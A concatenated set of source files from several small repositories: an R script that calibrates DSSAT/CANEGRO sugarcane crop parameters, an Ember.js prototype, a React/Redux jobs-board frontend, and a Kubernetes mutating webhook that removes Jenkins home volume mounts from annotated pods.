#--- Goal: Calibrate crop parameters of DSSAT/CANEGRO
#--- (this is not GLUE or GenCalc)
#--- History
#--- Jun-2018: Created (<NAME>)
#--- Jan-2020: Updated for new CANEGRO version (<NAME>)
#----------------------------#
#--- Running this example ---#
#----------------------------#
#--- Before start copy the below files to DSSATv47/Sugarcane folder:
#--- 'repository'/db/SCGO0001.SCX (X file for this example)
#--- 'repository'/db/GOGO.WTH (Weather file for this example)
#--- This example will optimize the tillering coefficients of DSSAT/CANEGRO for
#--- different sugarcane varieties using the variety Nco376 as base
#--- Results will be placed in the 'results' of this folder
#--------------------#
#--- Script Setup ---#
#--------------------#
wd = "C:/Murilo/dssat_sscan_calib" # Working directory (repository)
ds_v = 47 # DSSAT version
crop = "Sugarcane" # Crop name
xfile = "SCGO0001.SCX" # X file
parnm = "SCCAN047" # Model name SCCAN047 = CANEGRO
pdssat = F # Print DSSAT echo while running
savepng = T # save optimization dev to png file?
#--------------------------#
#--- Optimization Setup ---#
#--------------------------#
op_reltol = 0.01 # Relative convergence tolerance
method.opt = "Nelder-Mead" # More options can be set for other methods (see ?optim())
#--- Number of optimization repetitions
#--- A new set of initial parameters is randomly pick for each repetition
#--- The higher this number, the higher is the probability to achieve global minimum objective
nopt = 5 # We set 5 for the sake of this example, but a higher must be used for serious calibration
#--- Observed data used for calibration
#--- Note: here we are using one variable but you can add as many as needed
#--- As long as the model outputs that...
used.data = "Tillering_n_m-2"
#--- model output to be compared with observation
sscan_out = "t.ad" # is possible to add as many outputs as needed with minor change in the code
#--- Statistical index used as objective function by the optimization (for different indexes see mperf())
outidx = "rmse" # Using Root Mean Squared Error (RMSE). See mperf() function for more options
#--- Load Functions (~/bin/)
invisible(sapply(list.files(path = paste0(wd,"/bin/"),full.names = T),
function(x) source(x)))
#--- Create results folder
dir.create(paste0(wd,"/results"), showWarnings = FALSE)
#--- Reading plant observations and PlantGro Header
obs_raw = read.csv(paste0(wd,"/db/gogo_field_data.csv"))
pgro_head = read.csv(paste0(wd,"/db/PlantGro_Head.csv"))
#--- PlantGro header
pgro_names = pgro_head$R_head
#--- prepare batch call
bfile = readLines(paste(wd,"/templates/DSSBatch_Master.v47",sep=""))
bfile[4] = gsub("<calib_xfile>",xfile,bfile[4])
#--- write batch in Crop folder
write(bfile,file = paste("C:/DSSAT",ds_v,"/",crop,"/","DSSBatch.v",ds_v,sep = ""))
#--- Read parameters set up
par_set = read.csv(paste(wd,"/dssat_canegro_calib_par.csv",sep=""))
calib = par_set
l_cv = unique(obs_raw$Cultivar)
for(cv in l_cv){
#--- logical settings
plotperf = F # plot sim x obs?
plotdev = T # follow-up optimization?
uselimits= T # use min and max boudaries to drive optimization? (in set_par max and min)
#--- current cultivar
calib_id = cv
message(paste("Start of optimization for ",cv,sep=""))
#--- Feature scaling (0-1)
calib$svalue = (calib$Init_values - calib$Calib_range_min) / (calib$Calib_range_max - calib$Calib_range_min)
#--- Parameters to be calibrated
svalue = calib$svalue[calib$Calibrate]
#--- number of parameters
npar = length(svalue)
#--- wipe optimization file
obj_df = data.frame(n = 0, obj = 0,inbounds = T)
for(i in 1:length(svalue)) {
df = data.frame(v = calib$Init_values[calib$Calibrate][i])
colnames(df) = calib$Par_orig[calib$Calibrate][i]
obj_df = cbind(obj_df,df)
}
#--- write a temporary file with optimization progression
write.csv(obj_df,file = paste(wd,"/results/optim_dev.csv",sep=""),row.names = F)
#--- read observed data for cultivar (cv)
obs_df = data.frame(cv = cv,
dap = obs_raw$DAP[obs_raw$Cultivar==calib_id & obs_raw$Type==used.data],
obs = obs_raw$Value[obs_raw$Cultivar==calib_id & obs_raw$Type==used.data])
for(i in 1:nopt){
#--------------------#
#--- Optimization ---#
#--------------------#
#--- Optimize
optim(svalue,dssat_sccan_calib,control = list(reltol = op_reltol),
method = method.opt)
#--- restart iniial conditions (try to fall on global minimum)
new_val = rnorm(1000,0.5,0.25)
new_val = new_val[new_val>=0 & new_val<=1]
#--- pick randomized points within the distribution
new_val = new_val[abs(rnorm(length(svalue),500,100))]
#--- check if the number of paramters match with requirements
if(length(new_val) < npar){
ntry = 1
while(length(new_val) == npar){
new_val = new_val[abs(rnorm(length(svalue),500,100))]
ntry = ntry + 1
if(ntry > 1000){stop("Failed to find new inital conditions, please review the initial parameters setup.")}
}
}
#--- Reinit
if(i != nopt){svalue = new_val}
}
message(paste("End of optimization for ",cv,sep=""))
#--- write optimization parameters
opt_par = read.csv(paste(wd,"/results/optim_dev.csv",sep=""))
write.csv(opt_par,file = paste(wd,"/results/optim_dev_",cv,".csv",sep=""),row.names = F)
#--- save to png file (there is room for using ggplot here)
if(savepng){
png(paste(wd,"/results/optimization_",calib_id,".png",sep=""),
units="in",
width=24,
height=12,
pointsize=24,
res=300)
plot(opt_par$obj~opt_par$n, type = "l",ylab = outidx,xlab = "Number of iterations", ylim = c(0,max(opt_par$obj)))
lines(c(min(opt_par$obj),min(opt_par$obj))~c(-1000,max(opt_par$n)*1000), lty = 3,col = "red")
dev.off()
}
#--- Best set of parameters
svalue_df = opt_par[opt_par$obj==min(opt_par$obj[opt_par$inbounds]),as.character(calib$Par_orig[calib$Calibrate])]
if(length(svalue_df[,as.character(calib$Par_orig[calib$Calibrate][1])]) > 1){
#--- pick up the median minimun values
svalue_df = sapply(as.character(calib$Par_orig[calib$Calibrate]),function(x) median(svalue_df[,x]))
}
svalue = svalue_df
#--- scale paramters
svalue = (svalue - calib$Calib_range_min[calib$Calibrate]) / (calib$Calib_range_max[calib$Calibrate] - calib$Calib_range_min[calib$Calibrate])
#--- check best parameters performance
plotperf = T # plot sim x obs?
plotdev = F # follow-up optimization?
dssat_sccan_calib(t(svalue))
}
<file_sep>/bin/mperf.R
# Model Performance -------------------------------------------------------
mperf = function(sim,obs,vnam,dchart,outidx){
#--------------------------------------------------#
#------------- Performance function ---------------#
#--- Compute statistical indexes of performance ---#
#--------------------------------------------------#
#
# Decription:
# sim - Simulated values [Real]
# obs - Observed values [Real]
# vnam - Name of variable [String]
# dchart - Display Chart? [T or F]
# outidx - Output peformance indexes [List]
#
# <NAME>
# source: https://github.com/Murilodsv/R-scripts/blob/master/mperf.r
#
# Literature:
# <NAME>., <NAME>., <NAME>., & <NAME>. (2006).
# Working with dynamic crop models: evaluation, analysis,
# parameterization, and applications. Elsevier.
#--------------------------------------------------#
if(missing(sim)){stop("Missing sim argument")}
if(missing(obs)){stop("Missing obs argument")}
if(missing(dchart)){dchart = T}
if(missing(outidx)){outidx = c("bias","mse","rmse","mae","rrmse","rmae","ef","r","r2","d","cc","a","b","mi.sim","sd.sim","cv.sim","mi.obs","sd.obs","cv.obs","n")}
if(missing(vnam)){
warning("Missing vnam argument: vnam set to none.")
vnam = ""
}
#--- all outputs
if(outidx[1] == "all"){outidx = c("bias","mse","rmse","mae","rrmse","rmae","ef","r","r2","d","cc","a","b","mi.sim","sd.sim","cv.sim","mi.obs","sd.obs","cv.obs","n")}
#--- Check Input data
sim = as.numeric(sim)
obs = as.numeric(obs)
if(length(sim) != length(obs)){stop("Vector length of Simulated and Observed do not match.")}
if(length(sim[is.na(sim)]) > 0 | length(obs[is.na(obs)]) > 0){
#--- remove NA values
df_so = na.omit(data.frame(sim,obs))
sim = df_so$sim
obs = df_so$obs
warning("NA values ignored in Simulated or Observed data")
}
#--- Statistical indexes
n = length(obs)
mi.sim= mean(sim)
mi.obs= mean(obs)
fit = lm(sim~obs)
bias = (1/n) * sum(sim-obs)
mse = (1/n) * sum((sim-obs)^2)
rmse = sqrt(mse)
mae = (1/n) * sum(abs(sim-obs))
rrmse = rmse / mean(obs)
rmae = (1/length(obs[obs>0])) * sum(abs(sim[obs>0]-obs[obs>0])/abs(obs[obs>0]))
ef = 1 - (sum((sim-obs)^2) / sum((obs-mean(obs))^2))
r = sum((obs-mean(obs))*(sim-mean(sim)))/sqrt(sum((obs-mean(obs))^2)*sum((sim-mean(sim))^2))
r2 = r^2
d = 1 - (sum((sim-obs)^2) / sum((abs(sim-mean(obs))+abs(obs-mean(obs)))^2))
if(length(unique(sim)) > 1){
a = fit$coefficients[1]
b = fit$coefficients[2]
if(any(is.na(c(a,b)))){
outidx = outidx[outidx != "a" & outidx != "b"]
}
}else{
outidx = outidx[outidx != "a" & outidx != "b"]
a = NA
b = NA
}
sigma.obs.sim = (1 / n) * sum((obs - mi.obs) * (sim - mi.sim))
sigma.obs.2 = (1 / n) * sum((obs - mi.obs) ^ 2)
sigma.sim.2 = (1 / n) * sum((sim - mi.sim) ^ 2)
cc = (2 * sigma.obs.sim) / (sigma.obs.2 + sigma.sim.2 + (mi.sim - mi.obs)^2)
sd.obs = sd(obs)
sd.sim = sd(sim)
cv.obs = sd.obs / mi.obs
cv.sim = sd.sim / mi.sim
if(dchart){
#--- Chart Sim ~ Obs
varlab = vnam
mindt = min(obs,sim)
maxdt = max(obs,sim)
#--- Ploting limits
pllim = c(mindt-0.1*(maxdt-mindt),maxdt+0.1*(maxdt-mindt))
xx = seq(min(obs),max(obs),length = (max(obs)-min(obs))*1000)
z = summary(fit)
plot(sim~obs,
ylab = paste("Sim - ",varlab,sep = ""),
xlab = paste("Obs - ",varlab,sep = ""),
ylim = pllim,
xlim = pllim)
lines(xx, predict(fit, data.frame(obs=xx)),
col = "black",
lty = 1,
lwd = 1.5)
l11 = seq(pllim[1]-0.5*(maxdt-mindt), pllim[2] + 0.5 * (maxdt-mindt),length = 1000)
lines(l11*1~l11,
col = "red",
lty = 2,
lwd = 1.5)
}
perf = data.frame(model = vnam,
bias,
mse,
rmse,
mae,
rrmse,
rmae,
ef,
r,
r2,
d,
cc,
a,
b,
mi.sim,
sd.sim,
cv.sim,
mi.obs,
sd.obs,
cv.obs,
n)
rownames(perf) = c()
return(perf[,c("model",outidx)])
}
| 09623732abae949b57178ed821e3de0aeeb02840 | [
"Markdown",
"R"
] | 5 | R | Murilodsv/dssat_sscan_calib | 9b2371252a5c1a01f9903d01689dadfce4e51027 | 765610f31c45b7ee98b5748df87bbe2c04fffbde | |
refs/heads/master | <repo_name>hbrysiewicz/sony-proto<file_sep>/app/routes/index.js
import Ember from 'ember';
import App from 'proto/app';
import Image from 'proto/models/image';
export default Ember.Route.extend({
// setupController: function(controller) {
// // get all images for default canvas
// var cat = Image.create({
// guid: App.generateUUID(),
// x: 300,
// y: 300,
// height: 50,
// width: 50,
// url: 'http://upload.wikimedia.org/wikipedia/commons/2/22/Turkish_Van_Cat.jpg',
// layer: 1
// });
// controller.set('content', [cat]);
// }
});
<file_sep>/app/controllers/index.js
import Ember from 'ember';
import App from 'proto/app';
import Image from 'proto/models/image';
export default Ember.ArrayController.extend({
queryParams: ['serialized'],
isAdding: false,
newImage: null,
serialized: function(key, val) {
if (arguments.length === 2) {
var parsed = JSON.parse(decodeURI(val));
var content = [];
parsed.forEach(function(item) {
item = Image.create(item);
content.pushObject(item);
});
this.set('content', content);
return val;
}
return encodeURI(JSON.stringify(this.get('content')));
}.property('content.@each','[email protected]','[email protected]'),
actions: {
addImage: function() {
this.set('isAdding', true);
var newImage = Image.create();
this.set('newImage', newImage);
},
saveImage: function() {
var newImage = this.get('newImage');
var newGuid = App.generateUUID();
newImage.set('guid', newGuid);
this.get('content').pushObject(newImage);
this.set('newImage', null);
}
}
});
<file_sep>/app/app.js
import Ember from 'ember';
import Resolver from 'ember/resolver';
import loadInitializers from 'ember/load-initializers';
import config from './config/environment';
Ember.MODEL_FACTORY_INJECTIONS = true;
var App = Ember.Application.extend({
modulePrefix: config.modulePrefix,
podModulePrefix: config.podModulePrefix,
Resolver: Resolver
});
App.generateUUID = function() {
return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
var r = Math.random()*16|0, v = c === 'x' ? r : (r&0x3|0x8);
return v.toString(16);
});
};
loadInitializers(App, config.modulePrefix);
export default App;
| 675a14b97dedd917fecd5c521bf84bd5dfe7ad10 | [
"JavaScript"
] | 3 | JavaScript | hbrysiewicz/sony-proto | 9a8f35b9ec24805b8598bbf0e16f5f3ff5ff98d0 | c27d8383cb7bd1a97aa94dc67d1141c6d03ac4e4 | |
refs/heads/master | <repo_name>lukelin1991/capstone-frontend<file_sep>/src/components/containers/UsersContainer.jsx
import React from 'react'
import { connect } from 'react-redux'
import { CardColumns } from 'react-bootstrap'
import UserCard from '../UserCard'
import '../../stylesheets/home.css'
const UsersContainer = (props) => {
return(
<div className="backGrd">
<h2>List of Users</h2>
<br />
<br />
<CardColumns>
{
props.users.map((userObj) => {
return <UserCard key={userObj.id} user={userObj} />
})
}
</CardColumns>
</div>
)
}
const mstp = (reduxState) => {
return {
users: reduxState.users.all
}
}
export default connect(mstp, {})(UsersContainer)<file_sep>/src/components/containers/CompaniesContainer.jsx
import React, { useState } from 'react'
import { connect } from 'react-redux'
import { CardColumns, Button, Modal, Form } from 'react-bootstrap'
import { addCompany } from '../../redux/actions/actions'
import CompanyCard from '../CompanyCard'
import '../../stylesheets/home.css'
const CompaniesContainer = (props) => {
const [show, setShow] = useState(false);
const handleClose = () => setShow(false);
const handleShow = () => setShow(true);
const [name, setName] = useState("");
const handleModalSubmit = (e) => {
e.preventDefault()
console.log("before fetch, son.")
fetch("http://localhost:3000/companies", {
method: "POST",
headers: {
"content-type": "application/json"
},
body: JSON.stringify({
name: name,
})
})
.then(r => r.json())
.then(data => {
props.addCompany(data)
handleClose()
})
}
const handleChange = (e) => {
let { value } = e.target
setName(value)
}
return(
<div className="backGrd">
<h2>List of Companies</h2>
{localStorage.token ? <Button variant="info" onClick={handleShow}>Create Company</Button> : null }
<br />
<br />
<CardColumns>
{
props.companies.map((companyObj) => {
return <CompanyCard key={companyObj.id} company={companyObj} />
})
}
</CardColumns>
<Modal show={show} onHide={handleClose}>
<Modal.Header closeButton>
<Modal.Title>Create a Company</Modal.Title>
</Modal.Header>
<Modal.Body>
<Form onSubmit={handleModalSubmit}>
<Form.Group controlId="formBasicName">
<Form.Label>Name</Form.Label>
<Form.Control type="name" name="name" value={name}
placeholder="Enter job name" onChange={handleChange} />
</Form.Group>
<Button variant="primary" type="submit" value="Submit">
Submit
</Button>
</Form>
</Modal.Body>
</Modal>
</div>
)
}
const mstp = (reduxState) => {
return {
companies: reduxState.companies.all
}
}
export default connect(mstp, { addCompany })(CompaniesContainer)<file_sep>/src/components/containers/ProfileContainer.jsx
import React, { useState } from 'react'
import { connect } from 'react-redux'
import { Button, Alert, Modal, Form } from 'react-bootstrap'
import { useHistory } from 'react-router-dom'
import '../../stylesheets/home.css'
import { deleteUser, addCompanyUser } from '../../redux/actions/actions'
const ProfileContainer = (props) => {
// delete character functionality...
const [show, setShow] = useState(false);
const [confirmation, setConfirmation] = useState("");
const handleClose = () => setShow(false);
const handleShow = () => setShow(true);
const history = useHistory()
const handleChange = (e) => {
let { value } = e.target
setConfirmation(value)
}
const deleteFetch = () => {
fetch(`http://localhost:3000/users/${props.user.id}`, {
method: 'DELETE',
headers: {
'Content-Type': 'application/json',
'Authorization': `bearer ${localStorage.token}`
}
})
deleteUser(props.user)
localStorage.clear()
history.push('/')
window.location.reload()
}
const handleDelete = () => {
confirmation === "I confirm that I will delete this account" ?
deleteFetch()
:
alert("Sorry, your confirmation input is incorrect.");
}
// joining a company functionality...
const [modalShow, setModalShow] = useState(false)
const [companyChosen, setCompanyChosen] = useState(0)
const handleModalClose = () => setModalShow(false)
const handleModalShow = () => setModalShow(true)
const handleModalSubmit = (e) => {
e.preventDefault()
fetch("http://localhost:3000/companyusers", {
method: "POST",
headers: {
"content-type": "application/json"
},
body: JSON.stringify({
user_id: props.user.id,
company_id: companyChosen })
})
.then(r => r.json())
.then(data => {
addCompanyUser(data)
handleModalClose()
window.location.reload()
})
}
const handleSelectChange = (e) => {
let { value } = e.target
setCompanyChosen(value)
}
console.log(props.user)
return(
<div className="profileBackGrd">
{localStorage.token ?
<div>
<Alert show={show} variant="danger" onClose={handleClose} dismissible>
<Alert.Heading>Are you sure?!</Alert.Heading>
<h5>
In order to confirm deleting your character,
please type in the following inputs before clicking "Confirm Delete",
or else press the x on the top right hand corner.
</h5>
<br />
<h6>please type "I confirm that I will delete this account" </h6>
<input type="confirmation" name="confirmation" autoComplete="off" value={confirmation} onChange={handleChange}/>
<hr />
<div className="d-flex justify-content-end">
<Button onClick={handleDelete} variant="outline-danger">
Confirm Delete!
</Button>
</div>
</Alert>
<h2>My Profile</h2>
<p>Username: {props.user.username}</p>
<p>Email: {props.user.email}</p>
<p>Company: {props.user.companies.length !== 0 ? props.user.companies[0].name : "None"}</p>
<p>How many Jobs I've Applied to: {props.applications.length}</p>
<Button variant="info" onClick={handleShow}>Delete</Button>
{' '}
{ props.user.companies.length === 0? <Button variant="info" onClick={handleModalShow}>Join a Company</Button> : null }
<Modal show={modalShow} onHide={handleModalClose}>
<Modal.Header closeButton>
<Modal.Title>Join a Company</Modal.Title>
</Modal.Header>
<Modal.Body>
<Form onSubmit={handleModalSubmit}>
<Form.Group controlId="formControlSelect">
<Form.Label>Companies</Form.Label>
<Form.Control as="select" onChange={handleSelectChange}>
{props.companies.map((companyObj) => {
return <option key={companyObj.id} id={companyObj.id} value={companyObj.id}>{companyObj.name}</option>
})}
</Form.Control>
</Form.Group>
<Button variant="primary" type="submit" value="Submit">
Submit
</Button>
</Form>
</Modal.Body>
</Modal>
</div>
:
<h1>Please Register Or Log In First</h1>
}
</div>
)
}
const mstp = (reduxState) => {
return {
user: reduxState.user,
companies: reduxState.companies.all,
applications: reduxState.user.applications
}
}
export default connect(mstp, {deleteUser, addCompanyUser})(ProfileContainer)<file_sep>/src/redux/reducers/allUsersReducer.js
let initialState = {
all: []
}
let allUsersReducer = (state = initialState, action) => {
switch(action.type){
case "SET_ALL_USERS":
return {
...state,
all: action.payload
}
case "DELETE_USER":
return {
...state,
all: state.all.filter(eachUser => eachUser.id !== action.payload)
}
default:
return state
}
}
export default allUsersReducer<file_sep>/src/components/Login.jsx
import React, { Component } from 'react';
import { Form, Button } from 'react-bootstrap'
import '../stylesheets/login.css'
class Login extends Component {
state = {
username: "",
password: ""
}
handleSubmit = (e) => {
e.preventDefault()
this.props.handleSubmit(this.state)
}
handleChange = (e) => {
let {name, value} = e.target
this.setState({
[name]: value
})
}
render() {
let {username, password} = this.state
return (
<div className="login">
<h1>Please Log in</h1>
<Form onSubmit={this.handleSubmit}>
<Form.Group controlId="formBasicUsername">
<Form.Label>Username</Form.Label>
<Form.Control type="username" name="username" autoComplete="off" value={username} placeholder="Enter username" onChange={this.handleChange} />
</Form.Group>
<Form.Group controlId="formBasicPassword">
<Form.Label>Password</Form.Label>
<Form.Control type="<PASSWORD>" name="password" autoComplete="off"
value={password} placeholder="<PASSWORD>" onChange={this.handleChange}/>
</Form.Group>
<Button variant="primary" type="submit" value="Submit">
Login
</Button>
</Form>
</div>
);
}
}
export default Login;<file_sep>/src/redux/reducers/rootReducer.js
import { combineReducers } from 'redux'
import jobReducer from './jobReducer'
import userReducer from './userReducer'
import companyReducer from './companyReducer'
import allUsersReducer from './allUsersReducer'
export default combineReducers({
jobs: jobReducer,
user: userReducer,
companies: companyReducer,
users: allUsersReducer
})<file_sep>/src/components/Register.jsx
import React, { Component } from 'react'
import { Form, Button } from 'react-bootstrap'
import '../stylesheets/register.css'
class Register extends Component {
state = {
username: "",
email: "",
password: ""
}
handleSubmit = (e) => {
e.preventDefault()
this.props.handleSubmit(this.state)
}
handleChange = (e) => {
let {name, value} = e.target
this.setState({[name]: value})
}
render(){
let {username, email, password} = this.state
return(
<div className="register">
<h1>Please Register</h1>
<div>
<Form onSubmit={this.handleSubmit}>
<Form.Group controlId="formBasicUsername">
<Form.Label>Username</Form.Label>
<Form.Control type="username" name="username" autoComplete="off" value={username}
placeholder="Enter username" onChange={this.handleChange} />
</Form.Group>
<Form.Group controlId="formBasicEmail">
<Form.Label>Email address</Form.Label>
<Form.Control type="email" autoComplete="off" name="email" value={email}
placeholder="Enter email" onChange={this.handleChange}/>
<Form.Text className="text-muted">
We'll never share your email with anyone else.
</Form.Text>
</Form.Group>
<Form.Group controlId="formBasicPassword">
<Form.Label>Password</Form.Label>
<Form.Control type="<PASSWORD>" name="password" autoComplete="off" value={password}
placeholder="<PASSWORD>" onChange={this.handleChange}/>
</Form.Group>
<Button variant="primary" type="submit" value="Submit">
Register
</Button>
</Form>
</div>
</div>
)
}
}
export default Register;
<file_sep>/src/components/containers/JobsContainer.jsx
import React, { useState } from 'react'
import { connect } from 'react-redux'
import { CardColumns, Button, Modal, Form } from 'react-bootstrap'
import { addJob } from '../../redux/actions/actions'
import JobCard from '../JobCard'
import '../../stylesheets/home.css'
const JobsContainer = (props) => {
const [show, setShow] = useState(false);
const handleClose = () => setShow(false);
const handleShow = () => setShow(true);
const [title, setTitle] = useState("");
const [location, setLocation] = useState("");
const [salary, setSalary] = useState(0);
const [description, setDescription] = useState("");
console.log(props)
const handleModalSubmit = (e) => {
e.preventDefault()
console.log("before fetch, son.")
fetch("http://localhost:3000/jobs", {
method: "POST",
headers: {
"content-type": "application/json"
},
body: JSON.stringify({
title: title,
location: location,
salary: salary,
description: description,
company_id: props.user.companies[0].id
})
})
.then(r => r.json())
.then(data => {
props.addJob(data)
handleClose()
})
}
const handleTitleChange = (e) => {
let { value } = e.target
setTitle(value)
}
const handleLocationChange = (e) => {
let { value } = e.target
setLocation(value)
}
const handleSalaryChange = (e) => {
let { value } = e.target
setSalary(value)
}
const handleDescChange = (e) => {
let { value } = e.target
setDescription(value)
}
return(
<div className="backGrd">
<h2>List of Jobs</h2>
{localStorage.token && props.user.companies.length !== 0 ? <Button variant="info" onClick={handleShow}>Create job</Button> : null }
<br />
<br />
<CardColumns>
{
props.jobs.map((jobObj) => {
return <JobCard key={jobObj.id} job={jobObj} />
})
}
</CardColumns>
<Modal show={show} onHide={handleClose}>
<Modal.Header closeButton>
<Modal.Title>Post A Job</Modal.Title>
</Modal.Header>
<Modal.Body>
<Form onSubmit={handleModalSubmit}>
<Form.Group controlId="formBasicTitle">
<Form.Label>Title</Form.Label>
<Form.Control type="title" name="title" value={title}
placeholder="Enter job title" onChange={handleTitleChange} />
</Form.Group>
<Form.Group controlId="formBasicLocation">
<Form.Label>Location</Form.Label>
<Form.Control type="location" name="location" value={location}
placeholder="Enter job location" onChange={handleLocationChange}/>
</Form.Group>
<Form.Group controlId="formBasicSalary">
<Form.Label>Salary</Form.Label>
<Form.Control type="number" name="salary" value={salary}
placeholder="salary" onChange={handleSalaryChange}/>
</Form.Group>
<Form.Group controlId="formBasicDescription">
<Form.Label>Job Description</Form.Label>
<Form.Control as="textarea" rows="3" name="description"
value={description} placeholder="Job Description" onChange={handleDescChange} />
</Form.Group>
<Button variant="primary" type="submit" value="Submit">
Submit
</Button>
</Form>
</Modal.Body>
</Modal>
</div>
)
}
const mstp = (reduxState) => {
return {
jobs: reduxState.jobs.all,
user: reduxState.user
}
}
export default connect(mstp, { addJob })(JobsContainer)<file_sep>/src/redux/reducers/userReducer.js
let initialState = {
username: "",
email:"",
token: "",
id: null,
applications: [],
companyusers: {},
companies: [],
jobs: []
}
let userReducer = (state = initialState, action) => {
switch(action.type){
case "SET_USER_INFO":
return {
...state,
username: action.payload.user.username,
email: action.payload.user.email,
token: action.payload.token,
id: action.payload.user.id,
applications: action.payload.user.applications,
companyusers: action.payload.user.companyusers[0],
companies: action.payload.user.companies
}
case "ADD_APPLICATION":
let applicationArray = [...state.applications, action.payload]
return {
...state,
applications: applicationArray
}
case "ADD_COMPANYUSER":
let companyuserArray = [...state.companyusers, action.payload]
return {
...state,
companyusers: companyuserArray
}
case "LOG_OUT":
return {
...state,
...initialState
}
default:
return state
}
}
export default userReducer<file_sep>/src/components/CompanyCard.jsx
import React from 'react'
import { Card } from 'react-bootstrap'
const CompanyCard = ({company}) => {
return(
<Card style={{ width: '18rem' }}>
<Card.Img variant="top" src={require(`../cannabidiol.jpg`)} />
<Card.Body>
<Card.Title>{company.name}</Card.Title>
<Card.Text>
Current # of Jobs posted: {company.jobs.length === 0 ? "0" : company.jobs.length}
</Card.Text>
</Card.Body>
</Card>
)
}
export default CompanyCard<file_sep>/src/redux/actions/actions.js
// function definition to be used, only return an action.
// ACTIONS FOR CURRENT USER --------------------
export const logOut = () => {
return {
type: "LOG_OUT"
}
}
export const setUserInfo = (respFromFetch) => {
return {
type: "SET_USER_INFO",
payload: respFromFetch
}
}
export const addApplication = (userAppObj) => {
let actionObj = {
type: "ADD_APPLICATION",
payload: userAppObj
}
return actionObj
}
export const addCompanyUser = (companyUserObj) => {
let actionObj = {
type: "ADD_COMPANYUSER",
payload: companyUserObj
}
return actionObj
}
// ACTIONS FOR ALL USERS ---------------------
export const setAllUsers = (usersArr) => {
return {
type: "SET_ALL_USERS",
payload: usersArr
}
}
export const deleteUser = (user) => {
let actionObj = {
type: "DELETE_USER",
payload: user.id
}
return actionObj
}
// ACTIONS FOR COMPANIES ---------------------
export const setAllCompanies = (companiesArr) => {
return {
type: "SET_ALL_COMPANIES",
payload: companiesArr
}
}
export const addCompany = (compObj) => {
let actionObj = {
type: "ADD_COMPANY",
payload: compObj
}
return actionObj
}
// ACTIONS FOR JOBS ----------------------------
export const setAllJobs = (jobsArr) => {
return {
type: "SET_ALL_JOBS",
payload: jobsArr
}
}
export const addJob = (jobObj) => {
let actionObj = {
type: "ADD_JOB",
payload: jobObj
}
return actionObj
}<file_sep>/src/components/UserCard.jsx
import React from 'react'
import { Card } from 'react-bootstrap'
const UserCard = ({user}) => {
return(
<Card style={{ width: '18rem' }}>
<Card.Img variant="top" src={require(`../Hemp-Farmer.jpg`)} />
<Card.Body>
<Card.Title>{user.username}</Card.Title>
<Card.Text>
Email: {user.email}
</Card.Text>
<Card.Text>
Company: { user.companies.length === 0 ? "No Company" : user.companies[0].name}
</Card.Text>
</Card.Body>
</Card>
)
}
export default UserCard<file_sep>/src/components/JobCard.jsx
import React, { useState } from 'react'
import { connect } from 'react-redux'
import { Card, Button, Modal, Form } from 'react-bootstrap'
import { setUserInfo, addApplication } from '../redux/actions/actions'
const JobCard = (props) => {
const [show, setShow] = useState(false);
const [description, setDescription] = useState("");
const handleClose = () => setShow(false);
const handleShow = () => setShow(true);
const handleModalSubmit = (e) => {
e.preventDefault()
console.log(props.user_id, "before fetch, son.")
fetch("http://localhost:3000/applications", {
method: "POST",
headers: {
"content-type": "application/json"
},
body: JSON.stringify({
description: description,
user_id: props.user_id,
job_id: props.job.id })
})
.then(r => r.json())
.then(data => {
props.addApplication(data)
handleClose()
// window.location.reload()
})
}
const handleChange = (e) => {
let { value } = e.target
console.log(e.target)
setDescription(value)
}
return(
<div>
<Card style={{ width: '18rem' }}>
<Card.Img variant="top" src={require(`../Hemp-Farmer.jpg`)} />
<Card.Body>
<Card.Title>{props.job.title}</Card.Title>
<Card.Text>Salary: {props.job.salary}</Card.Text>
<Card.Text>Location: {props.job.location} </Card.Text>
<Card.Text>Description: {props.job.description} </Card.Text>
{localStorage.token ? <Button variant="info" onClick={handleShow}>Apply Here</Button> : null }
</Card.Body>
</Card>
<Modal show={show} onHide={handleClose}>
<Modal.Header closeButton>
<Modal.Title>Application Form</Modal.Title>
</Modal.Header>
<Modal.Body>
<Form onSubmit={handleModalSubmit}>
<Form.Group controlId="formBasicDescription">
<Form.Label>Your Application</Form.Label>
<Form.Control as="textarea" rows="3" name="description"
value={description} placeholder="Copy and paste your resume" onChange={handleChange} />
</Form.Group>
<Button variant="primary" type="submit" value="Submit">
Submit
</Button>
</Form>
</Modal.Body>
</Modal>
</div>
)
}
const mstp = (reduxState) => {
return {
user_id: reduxState.user.id,
user: reduxState.user
}
}
export default connect(mstp, {setUserInfo, addApplication})(JobCard) | bd16490330d5e1a1574fc8f03e85f51de46fc8d7 | [
"JavaScript"
] | 13 | JavaScript | lukelin1991/capstone-frontend | cf36a2526d2bd37203c38ea4dd04a95051591489 | 4b19cdc3ca1de3913baff5fe9d2be77a44b22e95 | |
refs/heads/master | <repo_name>prezi/cloudbees-pse-pod-mutator-admission-controller<file_sep>/scripts/build.sh
#!/bin/bash
set -x
script_dir=$(dirname $0)
cd ${script_dir}/..
dep ensure
CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o kube-mutating-webhook .
docker build --no-cache -t 783721547467.dkr.ecr.us-east-1.amazonaws.com/jenkins-executor-helpers:cloudbees-fixer .
docker push 783721547467.dkr.ecr.us-east-1.amazonaws.com/jenkins-executor-helpers:cloudbees-fixer
<file_sep>/Dockerfile
FROM alpine:latest
ADD kube-mutating-webhook /kube-mutating-webhook
ENTRYPOINT ["./kube-mutating-webhook"]
<file_sep>/scripts/deploy.sh
#!/bin/bash
set -euo pipefail
set -x
script_dir=$(dirname $0)
aws eks update-kubeconfig --name ci
kubectl config use-context arn:aws:eks:us-east-1:783721547467:cluster/ci
cat > ${script_dir}/../helm/ca_bundle.yaml <<EOF
---
ca_bundle: $(kubectl config view --raw --minify --flatten -o jsonpath='{.clusters[].cluster.certificate-authority-data}')
EOF
cd ${script_dir}/../helm
COMMAND=${1:-sync}
helm tiller run -- helmfile ${COMMAND}
<file_sep>/README.md
# Mutating admission controller to fix jenkin's crap
Based on: https://github.com/morvencao/kube-mutating-webhook-tutorial
# What it does
When it's deployed if a pod has this annotation:
```yaml
cloudbees-pse-fixer.prezi.com/activate: "yes"
```
All volume mounts mounting /var/lib/jenkins will be removed from the pod. Why? Because we are installing stuff there and we only need /var/lib/jenkins/workspace to be a volume.
# Deploying
No fancy integrations yet, the jist of it is this:
```yaml
./scripts/build.sh # build and upload image
./scripts/deploy.sh # deploy it
```
# Certificates
The admission controller depend on some certificates to be availabe
for the API to work. To regenerate that please use
```yaml
./scripts/create-signed-cert.sh
```
